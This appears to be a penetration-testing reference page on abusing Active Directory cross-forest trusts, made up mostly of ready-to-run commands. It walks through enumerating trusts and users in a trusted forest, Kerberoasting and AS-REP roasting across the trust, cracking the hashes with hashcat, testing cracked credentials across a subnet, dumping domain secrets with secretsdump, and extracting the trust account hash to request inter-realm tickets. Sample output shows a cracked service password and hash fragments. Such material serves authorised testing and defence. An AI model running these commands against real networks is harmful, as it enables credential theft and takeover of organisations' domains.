Skip to content
HackIndex logo

HackIndex

Cross-Forest Trust Abuse

6 min read Jun 11, 2026

When you compromise a domain within one forest and a trust exists to another forest, SID filtering (enabled by default on inter-forest trusts) blocks privilege escalation via SID history injection. The attack surface shifts to Kerberos enumeration across the trust boundary, cracking service account hashes in the target forest, and authenticating to resources in the trusted domain using harvested credentials or inter-realm tickets.

This page covers attacks on external forest trusts where SID filtering is active. For intra-forest child-to-parent escalation see Domain Trust Abuse.

Enumerate cross-forest trusts and target forest structure

Confirm trust direction and type before choosing an attack path. A bidirectional trust means both forests accept authentication from the other. A one-way trust means only users from the trusted domain can authenticate to the trusting domain.

┌──(kali㉿kali)-[~]
└─$ # Enumerate trust relationships from source domain
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search \
--filter '(objectClass=trustedDomain)' \
--attr trustPartner trustDirection trustAttributes flatName
 
┌──(kali㉿kali)-[~]
└─$ # trustDirection: 1=outbound, 2=inbound, 3=bidirectional
┌──(kali㉿kali)-[~]
└─$ # trustAttributes: 8=forest trust, 32=intra-forest, 64=selective auth enabled
 
┌──(kali㉿kali)-[~]
└─$ # Enumerate users in trusted forest (if bidirectional auth is allowed)
┌──(kali㉿kali)-[~]
└─$ impacket-GetADUsers -all $TRUSTED_DOMAIN/$USER:$PASSWORD -dc-ip $TRUSTED_DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Check if target forest has ADCS deployed
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TRUSTED_DC_IP -u $USER -p $PASSWORD -M adcs
trustPartner: trusted.local
trustDirection: 3 (bidirectional)
trustAttributes: 8 (forest trust)
flatName: TRUSTED

Name           Email                   PasswordLastSet
-------------  ----------------------  -------------------
Administrator  [email protected]     2023-10-01 12:00:00
svc-sql        [email protected]   2022-05-10 08:00:00
PS C:\Users\Guest\Desktop> # Get trust details
PS C:\Users\Guest\Desktop> Get-DomainTrust | Select-Object SourceName, TargetName, TrustDirection, TrustAttributes
 
PS C:\Users\Guest\Desktop> # Map target forest domain structure
PS C:\Users\Guest\Desktop> Get-DomainTrust -Domain $TRUSTED_DOMAIN | Select-Object *
 
PS C:\Users\Guest\Desktop> # Enumerate users in trusted forest
PS C:\Users\Guest\Desktop> Get-DomainUser -Domain $TRUSTED_DOMAIN | Select-Object samaccountname, memberof, description
 
PS C:\Users\Guest\Desktop> # List groups in trusted forest (find DA group members)
PS C:\Users\Guest\Desktop> Get-DomainGroupMember -Domain $TRUSTED_DOMAIN -Identity 'Domain Admins' | Select-Object MemberName

Kerberoasting across the trust

Service accounts in the trusted forest are roastable from the source domain. Impacket and PowerView both support targeting a remote domain over a trust. Cracked hashes give valid credentials in the target forest — check if any service account has elevated rights.

┌──(kali㉿kali)-[~]
└─$ # Kerberoasting — target trusted domain from source domain credentials
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -target-domain $TRUSTED_DOMAIN -dc-ip $TARGET_IP -request
 
┌──(kali㉿kali)-[~]
└─$ # Save to file and crack
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -target-domain $TRUSTED_DOMAIN -dc-ip $TARGET_IP -request -outputfile kerberoast_trusted.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerberoast_trusted.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # AS-REP roasting across trust
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -target-domain $TRUSTED_DOMAIN -dc-ip $TARGET_IP -request
$krb5tgs$23$*svc-sql$TRUSTED.LOCAL$trusted.local/svc-sql*$8a3f...

[*] Cracked: svc-sql:Summer2023!
PS C:\Users\Guest\Desktop> # Find SPNs in trusted forest
PS C:\Users\Guest\Desktop> Get-DomainUser -Domain $TRUSTED_DOMAIN -SPN |
PS C:\Users\Guest\Desktop>  Select-Object samaccountname, serviceprincipalname
 
PS C:\Users\Guest\Desktop> # Kerberoast target forest
PS C:\Users\Guest\Desktop> Invoke-Kerberoast -Domain $TRUSTED_DOMAIN -OutputFormat Hashcat |
PS C:\Users\Guest\Desktop>  Select-Object -ExpandProperty Hash
 
PS C:\Users\Guest\Desktop> # AS-REP roast across trust
PS C:\Users\Guest\Desktop> Get-DomainUser -Domain $TRUSTED_DOMAIN -PreauthNotRequired |
PS C:\Users\Guest\Desktop>  Select-Object samaccountname

Authenticate to trusted forest with cracked credentials

Cracked service account hashes are valid credentials in the target forest. Use them to enumerate further or access services. Even a low-privileged account in the target forest may reveal additional misconfigurations or have access to sensitive resources.

┌──(kali㉿kali)-[~]
└─$ # Verify cracked credentials against trusted DC
┌──(kali㉿kali)-[~]
└─$ nxc smb $TRUSTED_DC_IP -u $CRACKED_USER -p '$CRACKED_PASSWORD' -d $TRUSTED_DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Enumerate target forest further with valid creds
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $TRUSTED_DOMAIN -u $CRACKED_USER -p '$CRACKED_PASSWORD' --host $TRUSTED_DC_IP get search \
--filter '(objectClass=user)' --attr sAMAccountName memberOf
 
┌──(kali㉿kali)-[~]
└─$ # Check if cracked account has local admin anywhere in target forest
┌──(kali㉿kali)-[~]
└─$ nxc smb $TRUSTED_SUBNET/24 -u $CRACKED_USER -p '$CRACKED_PASSWORD' -d $TRUSTED_DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # If cracked account has DA in target forest — DCSync
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $TRUSTED_DOMAIN/$CRACKED_USER:'$CRACKED_PASSWORD'@$TRUSTED_DC_IP -just-dc
SMB  10.20.10.10  445  TRUSTED-DC  [+] TRUSTED.LOCAL\svc-sql:Summer2023! (Pwn3d!)
PS C:\Users\Guest\Desktop> # Use runas to spawn shell with trusted forest credentials
PS C:\Users\Guest\Desktop> runas /netonly /user:$TRUSTED_DOMAIN\$CRACKED_USER cmd.exe
 
PS C:\Users\Guest\Desktop> # From that shell — enumerate target forest
PS C:\Users\Guest\Desktop> Get-DomainUser -Domain $TRUSTED_DOMAIN -Credential (Get-Credential) | Select-Object samaccountname, memberof
 
PS C:\Users\Guest\Desktop> # BloodHound — collect target forest data
PS C:\Users\Guest\Desktop> SharpHound.exe --domain $TRUSTED_DOMAIN --dc $TRUSTED_DC_IP --collectionmethods All

Trust account hash — inter-realm ticket forging

Every forest trust relationship creates a corresponding machine account in AD named after the trusted domain (e.g., TRUSTED$). Its NT hash is the inter-realm trust key. With this key you can forge inter-realm tickets that authenticate to services in the trusted forest as any user in your domain. SID filtering prevents privilege escalation, but the tickets allow accessing resources the source-domain user already has rights to — useful for lateral movement, not escalation.

┌──(kali㉿kali)-[~]
└─$ # Extract trust account hash — requires DA in source domain
┌──(kali㉿kali)-[~]
└─$ # Trust account is named after the trusted domain
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$DA_USER:$DA_PASSWORD@$TARGET_IP -just-dc-user '$TRUSTED_DOMAIN$'
 
┌──(kali㉿kali)-[~]
└─$ # Use your own TGT to request cross-realm service tickets
┌──(kali㉿kali)-[~]
└─$ impacket-getTGT $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER.ccache
 
┌──(kali㉿kali)-[~]
└─$ # Request service ticket in trusted forest (authenticated as $USER)
┌──(kali㉿kali)-[~]
└─$ impacket-getST -spn 'cifs/$TRUSTED_DC_FQDN' -target-domain $TRUSTED_DOMAIN \
$DOMAIN/$USER -k -no-pass -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Access trusted forest resources
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER@cifs_${TRUSTED_DC_FQDN}@${DOMAIN^^}.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-smbclient $TRUSTED_DOMAIN/$USER@$TRUSTED_TARGET_IP -k -no-pass
TRUSTED.LOCAL\TRUSTED$:1234:aad3b435b51404eeaad3b435b51404ee:a8f3c2d1b9e4f7a2...

[*] Service ticket saved for cifs/trusted-dc.trusted.local

With SID filtering active, the inter-realm ticket technique provides lateral movement but not privilege escalation. For privilege escalation to succeed across a forest trust boundary, selective authentication must be misconfigured, or a user account in the source domain must have explicit rights in the target forest.

References